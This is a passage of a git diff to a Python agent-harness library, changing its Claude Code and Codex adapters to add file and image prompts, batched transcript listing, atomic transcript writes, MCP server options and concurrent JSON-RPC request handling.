hint=self._auth_hint() - ), - ) + if isinstance(block, claude_agent_sdk.ToolResultBlock): + result = messages_.ToolResultPart( + tool_call_id=block.tool_use_id, + tool_name=names.get(block.tool_use_id, ""), + result=block.content, + result_kind="error" + if block.is_error + else "json", + ) + # Tool results are their own message in the AI SDK's + # model (role "tool"), not parts of the assistant's. + yield events_.ToolCallResult( + message=messages_.Message( + role="tool", parts=[result] + ), + results=[result], + ) + elif isinstance(message, claude_agent_sdk.ResultMessage): + self._running.discard(session_id) + assistant = messages_.Message(role="assistant", parts=parts) + error = self._pending_error.pop(session_id, None) + if error is not None: + raise error + interrupted = turn_session_id in self._interrupted + self._interrupted.discard(turn_session_id) + yield events_.StreamEnd( + message=assistant, + usage=_usage(message), + finish_reason=_finish_reason( + message, + interrupted=interrupted, + hint=self._auth_hint(), + ), + ) + finally: + self._running.discard(session_id) # -- stored conversations ------------------------------------------------- @@ -831,6 +962,8 @@ async def steer(self, session_id: str, text: str) -> None: """ if not self.capabilities.steer: raise errors.UnsupportedError(KIND, "steer") + if session_id not in self._running: + raise RuntimeError("no active turn to steer") await self._client(session_id).query(text) async def stop(self, session_id: str) -> None: @@ -839,6 +972,85 @@ async def stop(self, session_id: str) -> None: await self._client(session_id).interrupt() +_CLI_SESSIONS = r""" +import json, os, subprocess, sys + +directory, held = sys.argv[1], {} +try: + names = [n for n in os.listdir(directory) if n.endswith(".json")] +except OSError: + names = [] +for name in names: + try: + with open(os.path.join(directory, name)) as f: + record = json.load(f) + pid, sid = int(record["pid"]), str(record["sessionId"]) + except Exception: + continue + try: + os.kill(pid, 0) + except ProcessLookupError: + continue + except PermissionError: + pass + except OSError: + continue + ps = subprocess.run( + ["ps", "-o", "lstart=", "-p", str(pid)], + capture_output=True, text=True, + ) + if ps.stdout.strip() == record.get("procStart"): + held[sid] = pid +print(json.dumps(held)) +""" + + +async def _content(prompt: list[_input.Part]) -> str | list[dict[str, Any]]: + """Return a prompt as the CLI takes it: a string, or content blocks. + + Images and PDFs travel as base64 blocks (measured: both read correctly; + an image given by URL is dropped by the CLI without a word, which is why + `_input.data` downloads URLs first). + """ + if len(prompt) == 1 and isinstance(prompt[0], messages_.TextPart): + return prompt[0].text + blocks: list[dict[str, Any]] = [] + for part in prompt: + if isinstance(part, messages_.TextPart): + blocks.append({"type": "text", "text": part.text}) + elif part.media_type.startswith("text/"): + blocks.append({"type": "text", "text": await _input.as_text(part)}) + else: + kind = ( + "image" if part.media_type.startswith("image/") else "document" + ) + blocks.append( + { + "type": kind, + "source": { + "type": "base64", + "media_type": part.media_type, + "data": base64.b64encode( + await _input.data(part) + ).decode("ascii"), + }, + } + ) + return blocks + + +async def _one_message( + content: list[dict[str, Any]], +) -> AsyncIterator[dict[str, Any]]: + """Yield one stream-json user message, the way `query()` sends a str.""" + yield { + "type": "user", + "message": {"role": "user", "content": content}, + "parent_tool_use_id": None, + "session_id": "default", + } + + def _usage(message: Any) -> Any: raw = message.usage or {} return usage_.Usage( @@ -1012,6 +1224,19 @@ def _stored_to_messages(record: Any) -> list[messages_.Message]: kind = block.get("type") if kind == "text" and block.get("text"): parts.append(messages_.TextPart(text=block["text"])) + elif kind in ("image", "document"): + found = block.get("source") + source: dict[str, Any] = found if isinstance(found, dict) else {} + if source.get("type") == "base64" and source.get("data"): + fallback = "image/png" if kind == "image" else "application/pdf" + parts.append( + messages_.FilePart( + data=str(source["data"]), + media_type=str(source.get("media_type") or fallback), + ) + ) + elif source.get("type") == "url" and source.get("url"): + parts.append(messages_.FilePart.from_url(str(source["url"]))) elif kind == "thinking" and block.get("thinking"): parts.append(messages_.ReasoningPart(text=block["thinking"])) elif kind == "tool_use": diff --git a/src/ai/harnesses/experimental/_adapters/claude_store.py b/src/ai/harnesses/experimental/_adapters/claude_store.py index 54f0310e..17d5337b 100644 --- a/src/ai/harnesses/experimental/_adapters/claude_store.py +++ b/src/ai/harnesses/experimental/_adapters/claude_store.py @@ -19,7 +19,7 @@ import json import posixpath -from typing import TYPE_CHECKING, cast +from typing import TYPE_CHECKING, Any, cast import claude_agent_sdk @@ -36,6 +36,28 @@ async def config_dir(workspace: _base.Workspace) -> str: return found or f"{await workspace.home()}/.claude" +_SCAN = r""" +import json, os, sys + +directory, with_text, out = sys.argv[1], sys.argv[2] == "1", {} +try: + names = [n for n in os.listdir(directory) if n.endswith(".jsonl")] +except OSError: + names = [] +for name in names: + path = os.path.join(directory, name) + try: + info = {"mtime": os.stat(path).st_mtime_ns // 1_000_000} + if with_text: + with open(path, encoding="utf-8", errors="replace") as f: + info["text"] = f.read() + except OSError: + continue + out[name[: -len(".jsonl")]] = info +print(json.dumps(out)) +""" + + class WorkspaceSessionStore(claude_agent_sdk.SessionStore): def __init__(self, workspace: _base.Workspace, config_dir: str) -> None: self._ws = workspace @@ -74,38 +96,65 @@ async def load( if line.strip() ] + async def _scan( + self, project_key: str, *, with_text: bool + ) -> dict[str, dict[str, Any]]: + """Every transcript in a project: mtime, and the text when asked. + + One command in the workspace, a stdlib Python helper, so listing N + conversations is one round trip, not one read per transcript. Both + listings share it, so their mtimes agree to the millisecond — the + SDK compares them to decide whether a summary is fresh. + """ + result = await self._ws.exec( + [ + "python3", + "-c", + _SCAN, + posixpath.join(self._projects, project_key), + "1" if with_text else "0", + ], + timeout=120, + ) + if result.exit_code != 0: + return {} + found: dict[str, dict[str, Any]] = json.loads(result.stdout or "{}") + return found + async def list_sessions( self, project_key: str ) -> list[sdk_types.SessionStoreListEntry]: - project_dir = posixpath.join(self._projects, project_key) - # GNU find in the VM: name and mtime in one round trip. The SDK's - # contract is milliseconds; find gives fractional seconds. A project - # with no sessions yet has no directory: find exits non-zero with - # nothing on stdout, which is exactly "no entries". - result = await self._ws.exec( - [ - "find", - project_dir, - "-maxdepth", - "1", - "-name", - "*.jsonl", - "-printf", - "%f %T@\n", + # A project with no sessions yet has no directory: no entries. + scanned = await self._scan(project_key, with_text=False) + return [ + {"session_id": sid, "mtime": int(info["mtime"])} + for sid, info in scanned.items() + ] + + async def list_session_summaries( + self, project_key: str + ) -> list[sdk_types.SessionSummaryEntry]: + """Summaries for every session, folded here from one batch read. + + The CLI writes its transcripts itself, inside the workspace, so there + is no `append()` to maintain summaries in. Without this the SDK + loaded each transcript in turn: N round trips to list N sessions. + """ + summaries: list[sdk_types.SessionSummaryEntry] = [] + for sid, info in ( + await self._scan(project_key, with_text=True) + ).items(): + entries = [ + cast("sdk_types.SessionStoreEntry", json.loads(line)) + for line in str(info.get("text") or "").splitlines() + if line.strip() ] - ) - entries: list[sdk_types.SessionStoreListEntry] = [] - for line in result.stdout.splitlines() if result.exit_code == 0 else []: - name, _, mtime = line.strip().partition(" ") - if not name.endswith(".jsonl"): - continue - entries.append( - { - "session_id": name[: -len(".jsonl")], - "mtime": int(float(mtime or 0) * 1000), - } + summary = claude_agent_sdk.fold_session_summary( + None, {"project_key": project_key, "session_id": sid}, entries ) - return entries + summary["mtime"] = int(info["mtime"]) + summaries.append(summary) + return summaries async def append( self, @@ -128,9 +177,20 @@ async def append( lines = "".join( json.dumps(e, separators=(",", ":")) + "\n" for e in entries ) - await self._ws.write_text(path, existing + lines) - # Date it now. A file written through the sandbox's file API is - # stamped 1970, and a running claude CLI deletes transcripts it takes - # for ancient (measured: a fork's file vanished before its CLI could - # resume it, and which write won the race decided whether fork worked). - await self._ws.exec(["touch", path]) + # Written aside, dated, then renamed into place in one step. A file + # written through the sandbox's file API is stamped 1970, and a + # running claude CLI deletes transcripts it takes for ancient. + # Writing in place and touching after left a window: measured under + # load, the transcript was deleted before the touch (which then made + # an empty file) and the fork's `claude --resume` said "No + # conversation found". The CLI only sweeps `*.jsonl`, so the `.part` + # file is safe, and the renamed file is dated now. + part = f"{path}.part" + await self._ws.write_text(part, existing + lines) + moved = await self._ws.exec( + ["sh", "-c", 'touch "$1" && mv -f "$1" "$2"', "sh", part, path] + ) + if moved.exit_code != 0: + raise OSError( + f"could not put the transcript in place: {moved.stderr.strip()}" + ) diff --git a/src/ai/harnesses/experimental/_adapters/codex.py b/src/ai/harnesses/experimental/_adapters/codex.py index edd8ae93..98285c6f 100644 --- a/src/ai/harnesses/experimental/_adapters/codex.py +++ b/src/ai/harnesses/experimental/_adapters/codex.py @@ -12,6 +12,7 @@ from __future__ import annotations import asyncio +import base64 import contextlib import importlib.metadata import json @@ -29,6 +30,7 @@ _capabilities, _cli_processes, _handoff, + _input, _session, _session_lock, errors, @@ -41,7 +43,10 @@ KIND = "codex" # Internal marker delivered on a turn queue when the process dies. CRASHED = "__crashed__" -INSTALL = "npm install -g @openai/codex" +PACKAGE = "@openai/codex" +INSTALL = f"npm install -g {PACKAGE}" +VERIFIED_VERSION = "0.160.1" +"""The CLI the live suite last passed against. Older ones get a warning.""" THREAD_ID = re.compile(r"[0-9a-f]{8}(-[0-9a-f]{4}){3}-[0-9a-f]{12}") # Codex asks only when its own policy escalates — sandbox escapes, blocked @@ -83,6 +88,7 @@ class CodexAdapter: kind = KIND capabilities = CAPABILITIES + verified_version: str | None = VERIFIED_VERSION def __init__( self, @@ -91,7 +97,10 @@ def __init__( sandbox: str | None = None, config: dict[str, Any] | None = None, gateway: _gateway.Gateway | None = None, + instructions: str | None = None, + mcp_servers: dict[str, Any] | None = None, ) -> None: + self._instructions = instructions self._executable = executable self._model = model self._sandbox = sandbox @@ -101,7 +110,10 @@ def __init__( # codex CLI takes. This is how you point it at a model provider # without writing ~/.codex/config.toml on the far side. A gateway # supplies the provider table; an explicit config= wins over it. - self._explicit_config = dict(config or {}) + self._explicit_config = { + **mcp_config(mcp_servers), + **dict(config or {}), + } self._config = {**gateway_config(gateway), **self._explicit_config} self._gateway_env: dict[str, str] = gateway_env(gateway) self._version: str | None = None @@ -120,7 +132,7 @@ def __init__( # An error raised while answering an approval cannot propagate out # of the JSON-RPC pump — nobody is awaiting it there. It is parked # and re-raised on the turn that caused it. - self._pending_error: BaseException | None = None + self._pending_error: dict[str, BaseException] = {} self.approve: base.ApprovalHook | None = None self.approval_timeout: float = 300.0 self.on_approval_error: Any = None @@ -180,25 +192,18 @@ async def start( "command would fail; leave `sandbox` unset there (the VM " "is the isolation boundary)", ) - probe = await self._probe(workspace) - if probe.exit_code != 0 and workspace.owner == "provider": - # Ours to provision. Never on a user's own machine. - await workspace.exec(["sh", "-c", INSTALL], timeout=600) - probe = await self._probe(workspace) + probe = await base.provision(workspace, self._executable, PACKAGE) if probe.exit_code != 0: raise errors.ExecutableMissingError(KIND, self._executable, INSTALL) self._version = probe.stdout.strip().splitlines()[0] or None self._workspace = workspace if not self._sandbox_explicit: - # On a provider-owned microVM the VM *is* the isolation - # boundary, and codex's own sandbox cannot start nested inside - # it (see above). On the user's own machine, read-only stays - # the safe default. - self._sandbox = ( - "danger-full-access" - if workspace.owner == "provider" - else "read-only" - ) + # Full access by default, everywhere, like claude without a + # hook: a harness is driven by a program, nobody is there to + # widen a narrow default, and a mode that silently refuses + # writes reads as an agent that did nothing. Restrict with an + # approval hook, an explicit `sandbox=`, or a VercelSandbox. + self._sandbox = "danger-full-access" self._lock = _session_lock.SessionLock(workspace, KIND) await self._launch(workspace) @@ -255,9 +260,6 @@ async def _ensure_running(self) -> None: ): await self._launch(self._workspace) - async def _probe(self, workspace: _base.Workspace) -> _base.ExecResult: - return await workspace.exec([self._executable, "--version"], timeout=60) - async def close(self) -> None: self._closed = True if self._peer is not None: @@ -291,6 +293,28 @@ async def detach(self) -> None: self._threads.clear() self._queues.clear() + def _thread_params(self) -> dict[str, Any]: + """How this harness runs a thread: on start, resume and fork alike. + + A resumed or forked thread otherwise keeps the policy it was created + with — a person's TUI asking for approvals nobody here answers. + """ + return { + "sandbox": self._sandbox, + # With a hook: ask about everything the policy can ask about, + # and the hook decides. Without one there is no policy to + # consult, so the server never asks — a request that must + # round-trip to this process would freeze an agent whose + # controller is gone (measured). + "approvalPolicy": "untrusted" if self.approve else "never", + **({"model": self._model} if self._model else {}), + **( + {"developerInstructions": self._instructions} + if self._instructions + else {} + ), + } + def _rpc(self) -> jsonrpc.JsonRpcPeer: if self._peer is None: raise errors.AgentCrashedError(KIND, "app-server is not running") @@ -305,17 +329,7 @@ async def new_session( await self._ensure_running() result = await self._rpc().call( "thread/start", - { - "cwd": self._workspace.path, - "sandbox": self._sandbox, - # With a hook: ask about everything the policy can ask - # about, and the hook decides. Without one there is no - # policy to consult, so the server never asks — a request - # that must round-trip to this process would freeze an - # agent whose controller is gone (measured). - "approvalPolicy": "untrusted" if self.approve else "never", - **({"model": self._model} if self._model else {}), - }, + {"cwd": self._workspace.path, **self._thread_params()}, ) thread_id = str((result or {}).get("thread", {}).get("id") or "") if not thread_id: @@ -326,6 +340,7 @@ async def new_session( await self._acquire(thread_id) if history: # The thread's model-visible history, before the first turn. + _handoff.warn_unsupported_files(history, KIND) await self._rpc().call( "thread/inject_items", { @@ -340,7 +355,10 @@ async def resume_session(self, session_id: str) -> None: await self._require_here(session_id) await self._acquire(session_id) try: - await self._rpc().call("thread/resume", {"threadId": session_id}) + await self._rpc().call( + "thread/resume", + {"threadId": session_id, **self._thread_params()}, + ) except jsonrpc.JsonRpcError as exc: await self._release(session_id) if "active writer" in str(exc): @@ -399,13 +417,13 @@ async def _release(self, session_id: str) -> None: await self._lock.release(session_id) async def prepare_tui(self) -> None: - """On a sandbox that is ours, make sure codex is current. + """On a sandbox that is ours, let the TUI open on its prompt. - The TUI opens on an "Update now / Skip" dialog when a newer release - exists, its default runs an installer, and the first keystrokes meant - for the prompt pick it (measured — once on a user's own machine, - which is exactly why this never touches one). The provider itself - needs no seeding: it comes from the same -c overrides headless uses. + The CLI is already the latest release (`base.provision`, at start), + and `--disable in_app_updates` keeps the "Update now" dialog away + regardless. What remains is the per-folder trust dialog. The provider + itself needs no seeding: it comes from the same -c overrides headless + uses. """ if self._workspace is None or self._workspace.owner != "provider": return @@ -423,18 +441,6 @@ async def prepare_tui(self) -> None: if f'[projects."{workdir}"]' not in config: trust = f'\n[projects."{workdir}"]\ntrust_level = "trusted"\n' await self._workspace.write_text(config_path, config + trust) - have = ( - await self._workspace.exec( - [self._executable, "--version"], timeout=60 - ) - ).stdout.split() - want = ( - await self._workspace.exec( - ["npm", "view", "@openai/codex", "version"], timeout=120 - ) - ).stdout.strip() - if want and have and have[-1] != want: - await self._workspace.exec(["sh", "-c", INSTALL], timeout=600) def tui_launch( self, session_id: str | None @@ -452,6 +458,8 @@ def tui_launch( ] if self._model: argv += ["--model", self._model] + if self._instructions: + argv += _config_args({"developer_instructions": self._instructions}) env = { "TERM": "xterm-256color", **dict(self._workspace.env), @@ -536,18 +544,14 @@ async def stage_history(self, history: list[messages_.Message]) -> str: await self._ensure_running() result = await self._rpc().call( "thread/start", - { - "cwd": self._workspace.path, - "sandbox": self._sandbox, - "approvalPolicy": "untrusted" if self.approve else "never", - **({"model": self._model} if self._model else {}), - }, + {"cwd": self._workspace.path, **self._thread_params()}, ) thread_id = str((result or {}).get("thread", {}).get("id") or "") if not thread_id: raise errors.AgentCrashedError( KIND, f"thread/start returned no id: {result}" ) + _handoff.warn_unsupported_files(history, KIND) await self._rpc().call( "thread/inject_items", {"threadId": thread_id, "items": _handoff.to_codex_items(history)}, @@ -672,7 +676,8 @@ async def fork(self, session_id: str) -> str: await self._require_here(session_id) try: result = await self._rpc().call( - "thread/fork", {"threadId": session_id} + "thread/fork", + {"threadId": session_id, **self._thread_params()}, ) except jsonrpc.JsonRpcError as exc: raise errors.ResumeFailedError( @@ -735,8 +740,10 @@ async def _on_request( # Only NOW interrupt. codex will not process turn/interrupt while # this approval is unanswered, so awaiting it inside _decide stalled # for the full 120s RPC timeout before the decline even went out — - # measured 123s to settle a Deny(stop=True). The outcome was right - # and two minutes late, and a test asserting only the outcome passed. + # measured 123s to settle a Deny(stop=True). And this handler must + # not run on the peer's reader, or the interrupt's own reply is never + # read (measured: a 30s stall, the call's timeout); the peer answers + # each request in a task of its own. pending = self._pending_interrupt.pop( params.get("threadId") or "", None ) @@ -773,12 +780,16 @@ async def _decide(self, method: str, params: dict[str, Any]) -> str: async with asyncio.timeout(self.approval_timeout): decision = await self.approve(request) except Exception as exc: - self._record_error(f"{type(exc).__name__}: {exc}") + self._record_error(thread_id, f"{type(exc).__name__}: {exc}") return "decline" if isinstance(decision, _approval.Deny): if decision.stop and thread_id: self._interrupted.add(thread_id) - turn_id = self._active_turn.get(thread_id) + # The request names its turn; the id from turn/start may + # not have reached this adapter yet when it asks. + turn_id = params.get("turnId") or self._active_turn.get( + thread_id + ) if turn_id: # Deferred to _on_request, after the decline is answered. self._pending_interrupt[thread_id] = { @@ -788,14 +799,14 @@ async def _decide(self, method: str, params: dict[str, Any]) -> str: return "decline" if isinstance(decision, _approval.Allow): if decision.input is not None: - self._pending_error = errors.UnsupportedError( + self._pending_error[thread_id] = errors.UnsupportedError( KIND, "rewrite_tool_input", "app-server approvals are accept/acceptForSession/decline", ) return "decline" if decision.remember: - self._pending_error = errors.UnsupportedError( + self._pending_error[thread_id] = errors.UnsupportedError( KIND, "remember", "acceptForSession did not suppress the next identical " @@ -805,14 +816,14 @@ async def _decide(self, method: str, params: dict[str, Any]) -> str: return "accept" return "decline" - def _record_error(self, detail: str) -> None: + def _record_error(self, session_id: str, detail: str) -> None: if callable(self.on_approval_error): - self.on_approval_error(detail) + self.on_approval_error(session_id, detail) # -- turns ---------------------------------------------------------------- async def turn( - self, session_id: str, prompt: str + self, session_id: str, prompt: list[_input.Part] ) -> AsyncIterator[events_.AgentEvent]: queue: asyncio.Queue[Any] = asyncio.Queue() self._queues[session_id] = queue @@ -824,7 +835,7 @@ async def turn( preamble: list[Any] = [] open_text: set[str] = set() names: dict[str, str] = {} - self._pending_error = None + self._pending_error.pop(session_id, None) # The last transport error codex reported while retrying. If the # turn then fails without a message of its own, this is the only # explanation anyone gets. @@ -832,10 +843,7 @@ async def turn( try: started = await self._rpc().call( "turn/start", - { - "threadId": session_id, - "input": [{"type": "text", "text": prompt}], - }, + {"threadId": session_id, "input": await _input_items(prompt)}, ) except jsonrpc.JsonRpcError as exc: raise errors.TurnFailedError(KIND, str(exc)) from exc @@ -895,8 +903,8 @@ async def turn( yield event elif method == "turn/completed": self._active_turn.pop(session_id, None) - if self._pending_error is not None: - error, self._pending_error = self._pending_error, None + error = self._pending_error.pop(session_id, None) + if error is not None: self._queues.pop(session_id, None) raise error usage = self._usage.get(session_id, usage_.Usage()) @@ -964,6 +972,29 @@ async def stop(self, session_id: str) -> None: ) +async def _input_items(prompt: list[_input.Part]) -> list[dict[str, Any]]: + """Return a prompt as app-server's `UserInput` items. + + An image travels as a data URL, built here from its bytes: a URL handed + to codex would be fetched from inside a sandbox whose egress is locked. + """ + items: list[dict[str, Any]] = [] + for part in prompt: + if isinstance(part, messages_.TextPart): + items.append({"type": "text", "text": part.text}) + elif part.media_type.startswith("text/"): + items.append({"type": "text", "text": await _input.as_text(part)}) + else: + encoded = base64.b64encode(await _input.data(part)).decode("ascii") + items.append( + { + "type": "image", + "url": f"data:{part.media_type};base64,{encoded}", + } + ) + return items + + def _tool_name(item: dict[str, Any]) -> str: # Never the command line: that made every shell call a differently named # tool. The command is in the call's arguments (`_tool_args`), and the @@ -1083,18 +1114,23 @@ def _item_to_messages( ) -> list[messages_.Message]: kind = item.get("type") if kind == "userMessage": - # A user item carries `content` blocks, not a flat `text`. + # A user item carries `content` blocks — its `UserInput`s — not a + # flat `text`. Images come back as the files they were sent as. text = item.get("text") + parts: list[Any] = [] if not isinstance(text, str): - text = "".join( - block.get("text", "") - for block in item.get("content") or [] - if isinstance(block, dict) - ) + blocks = [ + b for b in item.get("content") or [] if isinstance(b, dict) + ] + text = "".join(b.get("text", "") for b in blocks) + for block in blocks: + url = block.get("url") + if block.get("type") == "image" and isinstance(url, str): + parts.append(messages_.FilePart.from_url(url)) return [ messages_.Message( role="user", - parts=[messages_.TextPart(text=text)], + parts=[messages_.TextPart(text=text), *parts], replay=replay, ) ] @@ -1205,6 +1241,23 @@ def gateway_config(gateway: _gateway.Gateway | None) -> dict[str, str]: } +def mcp_config(servers: dict[str, Any] | None) -> dict[str, Any]: + """MCP servers, in the shape claude takes, as codex `-c` overrides. + + `{"name": {"command": ..., "args": [...], "env": {...}}}` for a local + server, `{"name": {"url": ...}}` for a remote one. + """ + out: dict[str, Any] = {} + for name, server in (servers or {}).items(): + prefix = f"mcp_servers.{name}" + for key in ("command", "args", "url"): + if server.get(key) is not None: + out[f"{prefix}.{key}"] = server[key] + for var, value in (server.get("env") or {}).items(): + out[f"{prefix}.env.{var}"] = value + return out + + def gateway_env(gateway: _gateway.Gateway | None) -> dict[str, str]: """Return the other half: the variable the provider table names.""" return {} if gateway is None else {_gateway.KEY_VAR: gateway.credential} diff --git a/src/ai/harnesses/experimental/_adapters/jsonrpc.py b/src/ai/harnesses/experimental/_adapters/jsonrpc.py index c4d6acb9..74fcb891 100644 --- a/src/ai/harnesses/experimental/_adapters/jsonrpc.py +++ b/src/ai/harnesses/experimental/_adapters/jsonrpc.py @@ -31,6 +31,12 @@ def __init__(self, process: _base.Process, *, harness: str) -> None: self._pump: asyncio.Task[None] | None = None self._closed = False self._on_crash: Callable[[BaseException], None] | None = None + # Server requests being answered. Each runs as its own task: an + # answer can take minutes (a person approving a tool call), and the + # reader must keep reading meanwhile — notifications for every + # session, and the responses to calls made while answering. + self._requests: set[asyncio.Task[None]] = set() + self._answered: set[Any] = set() def start( self, @@ -53,6 +59,12 @@ async def close(self) -> None: with contextlib.suppress(asyncio.CancelledError, Exception): await self._pump self._pump = None + for task in list(self._requests): + task.cancel() + for task in list(self._requests): + with contextlib.suppress(asyncio.CancelledError, Exception): + await task + self._requests.clear() # Nobody is coming with an answer; wake every caller rather than # leaving them awaiting a future that can never resolve. A close is # not a crash: the owner is shutting down on purpose and still holds @@ -110,8 +122,34 @@ async def notify(self, method: str, params: Any = None) -> None: ) async def respond(self, request_id: Any, result: Any) -> None: + self._answered.add(request_id) await self._send({"jsonrpc": "2.0", "id": request_id, "result": result}) + async def _answer( + self, + on_request: RequestHandler, + request_id: Any, + method: str, + params: dict[str, Any], + ) -> None: + """Run one request handler; never leave the server without a reply.""" + try: + await on_request(request_id, method, params) + except asyncio.CancelledError: + raise + except Exception as exc: + if request_id not in self._answered: + with contextlib.suppress(Exception): + await self._send( + { + "jsonrpc": "2.0", + "id": request_id, + "error": {"code": -32603, "message": str(exc)}, + } + ) + finally: + self._answered.discard(request_id) + async def _send(self, message: dict[str, Any]) -> None: try: await self._process.write(json.dumps(message) + "\n") @@ -139,15 +177,22 @@ async def _read_loop( except json.JSONDecodeError: continue # a stray non-JSON line is noise, not a failure if "method" in message and "id" not in message: + # Inline, so notifications are handled in the order sent. await on_notify( message["method"], message.get("params") or {} ) elif "method" in message: - await on_request( - message["id"], - message["method"], - message.get("params") or {}, + # Off the reader: see `_requests`. + task = asyncio.create_task( + self._answer( + on_request, + message["id"], + message["method"], + message.get("params") or {}, + ) ) + self._requests.add(task) + task.add_done_callback(self._requests.discard) else: self._resolve(message) except asyncio.CancelledError: diff --git a/src/ai/harnesses/experimental/_capabilities.py b/src/ai/harnesses/experimental/_capabilities.py index 23ef0a59..531c98a5 100644 --- a/src/ai/harnesses/experimental/_capabilities.py +++ b/src/ai/harnesses/experimental/_capabilities.py @@ -48,20 +48,25 @@ class Capabilities(BaseModel): raises rather than doing nothing. """ images: bool = False + """Images (`FilePart` with an `image/*` type) in a prompt.""" + documents: bool = False + """PDFs (`FilePart` with `application/pdf`) in a prompt. Text files + (`text/*`) are taken by every harness, as text.""" approval: ApprovalCoverage = "none" """What the hook actually sees: - - ``all`` — every tool call is offered. No harness does this today. + - ``all`` — every tool call is offered, read-only ones included. + Claude Code: the hook runs as a PreToolUse hook (measured: Read, a + read-only Bash and Write all reach it). - ``policy`` — the HARNESS's own policy decides which calls need - approval, and only those reach the hook. Measured, not assumed: - Claude Code never routes read-only tools through its permission - callback (verified with settings loading disabled, so it is the - CLI's policy, not the user's config), and Codex asks only when its - sandbox policy escalates. + approval, and only those reach the hook. Codex: under its strictest + policy (`untrusted`), every shell command and file change was asked + about when measured, `cat` and `ls` included, but its other item kinds + (MCP tools, web search) are not verified, so it does not claim all. - ``none`` — no approval channel exists. - An approval hook is therefore a GATE, not an audit log. To observe + Below ``all``, an approval hook is a GATE, not an audit log. To observe every tool call, read the event stream (`ToolStart`/`ToolEnd`), which sees all of them. """ diff --git a/src/ai/harnesses/experimental/_factories.py b/src/ai/harnesses/experimental/_factories.py index 3d556bbf..f5440330 100644 --- a/src/ai/harnesses/experimental/_factories.py +++ b/src/ai/harnesses/experimental/_factories.py @@ -6,6 +6,7 @@ from __future__ import annotations +import inspect from contextlib import asynccontextmanager from typing import TYPE_CHECKING, Any, Literal @@ -17,7 +18,7 @@ from ._adapters import codex as codex_ if TYPE_CHECKING: - from collections.abc import AsyncIterator + from collections.abc import AsyncIterator, Callable, Mapping, Sequence Effort = Literal["low", "medium", "high", "max"] @@ -31,6 +32,11 @@ def claude_code( gateway: _gateway.Gateway | None = None, effort: Effort | None = None, executable: str = "claude", + instructions: str | None = None, + mcp_servers: Mapping[str, Mapping[str, Any]] | None = None, + tools: Sequence[str] | None = None, + disallowed_tools: Sequence[str] | None = None, + max_turns: int | None = None, ) -> _harness.Harness: """Claude Code, driving your own installation and login. @@ -44,6 +50,13 @@ def claude_code( `effort` is how hard the model thinks — "low" to "max" — the same scale on both harnesses. Unset, the CLI's own default applies. + + `instructions` are added to Claude Code's system prompt. `mcp_servers` + connects MCP servers: `{"name": {"command": ..., "args": [...]}}` or + `{"name": {"type": "http", "url": ...}}`. `tools` limits the built-in + tools the agent has (`["Read", "Grep"]`; `[]` for none); + `disallowed_tools` takes tools away. `max_turns` caps the agent's steps + in one turn; a turn that hits it settles with `finish_reason="length"`. """ _optional.import_optional_sdk( "claude_agent_sdk", @@ -55,12 +68,28 @@ def claude_code( return _harness.Harness( claude.ClaudeAdapter( - executable=executable, model=model, gateway=gateway, effort=effort + executable=executable, + model=model, + gateway=gateway, + effort=effort, + instructions=instructions, + mcp_servers={k: dict(v) for k, v in (mcp_servers or {}).items()}, + tools=list(tools) if tools is not None else None, + disallowed_tools=list(disallowed_tools or []), + max_turns=max_turns, ), workspace=workspace, approve=approve, approval_timeout=approval_timeout, - options={"model": model, "executable": executable, "effort": effort}, + options={ + "model": model, + "executable": executable, + "effort": effort, + "instructions": instructions, + "tools": list(tools) if tools is not None else None, + "disallowed_tools": list(disallowed_tools or []) or None, + "max_turns": max_turns, + }, ) @@ -75,6 +104,11 @@ def codex( gateway: _gateway.Gateway | None = None, effort: Effort | None = None, executable: str = "codex", + instructions: str | None = None, + mcp_servers: Mapping[str, Mapping[str, Any]] | None = None, + tools: Sequence[str] | None = None, + disallowed_tools: Sequence[str] | None = None, + max_turns: int | None = None, ) -> _harness.Harness: """Codex over `codex app-server`. @@ -87,14 +121,30 @@ def codex( "max" scale claude takes; codex spells the top "xhigh", and that is translated here so the caller never learns the difference. - `sandbox` defaults to "read-only" on your own machine and - "danger-full-access" on a provider-owned workspace, where the microVM - is already the isolation boundary and codex's own sandbox cannot start - nested inside it. On your own machine, pass a value to decide for - yourself; on a provider-owned workspace any other value raises - UnsupportedError when the harness opens, because every command would - fail. + `sandbox` defaults to "danger-full-access" everywhere: every harness + runs with full access unless you restrict it (an approval hook, or here + an explicit mode). On your own machine you may pass "read-only" or + "workspace-write"; on a provider-owned workspace any other value raises + UnsupportedError when the harness opens, because codex's own sandbox + cannot start nested inside the microVM and every command would fail. + + `instructions` are codex's developer instructions for every thread. + `mcp_servers` takes the same shape as on `claude_code()`. + + `tools`, `disallowed_tools` and `max_turns` are accepted so that every + `claude_code()` argument is a `codex()` argument — swapping one for the + other is a one-word edit, and a dict of both factories keeps its type — + but codex has no equivalent: passing one raises UnsupportedError. """ + for name, value in ( + ("tools", tools), + ("disallowed_tools", disallowed_tools), + ("max_turns", max_turns), + ): + if value is not None: + raise errors.UnsupportedError( + codex_.KIND, name, "codex has no such option; it is claude's" + ) if effort is not None: config = { "model_reasoning_effort": "xhigh" if effort == "max" else effort, @@ -107,6 +157,8 @@ def codex( sandbox=sandbox, config=config, gateway=gateway, + instructions=instructions, + mcp_servers={k: dict(v) for k, v in (mcp_servers or {}).items()}, ), workspace=workspace, approve=approve, @@ -116,11 +168,18 @@ def codex( "executable": executable, "sandbox": sandbox, "effort": effort, + "instructions": instructions, }, ) -BUILDERS = {"claude-code": claude_code, "codex": codex} +BUILDERS: dict[str, Callable[..., _harness.Harness]] = { + "claude-code": claude_code, + "codex": codex, +} +RUNTIME_ONLY = frozenset( + {"workspace", "approve", "approval_timeout", "gateway", "mcp_servers"} +) def workspace_from(coords: _base.WorkspaceCoords) -> _base.Workspace: @@ -153,6 +212,7 @@ async def harness_from( approve: base.ApprovalHook | None = None, approval_timeout: float = _harness.DEFAULT_APPROVAL_TIMEOUT, gateway: _gateway.Gateway | None = None, + mcp_servers: Mapping[str, Mapping[str, Any]] | None = None, ) -> AsyncIterator[_session.Session]: """Rebuild the harness a handle names and continue its conversation. @@ -174,14 +234,19 @@ async def harness_from( raise errors.ResumeFailedError( handle.session_id, f"no adapter for harness kind {handle.kind!r}" ) - options = { + # What the handle recorded, for the options this harness takes. MCP + # servers are never recorded — their env often holds tokens — so like + # the hook and the gateway they are passed again. + accepted = inspect.signature(builder).parameters + kwargs: dict[str, Any] = { k: v for k, v in handle.options.items() - if k in ("model", "executable", "sandbox", "effort") + if k in accepted and k not in RUNTIME_ONLY and v is not None } - kwargs: dict[str, Any] = {k: v for k, v in options.items() if v is not None} if gateway is not None: kwargs["gateway"] = gateway + if mcp_servers is not None: + 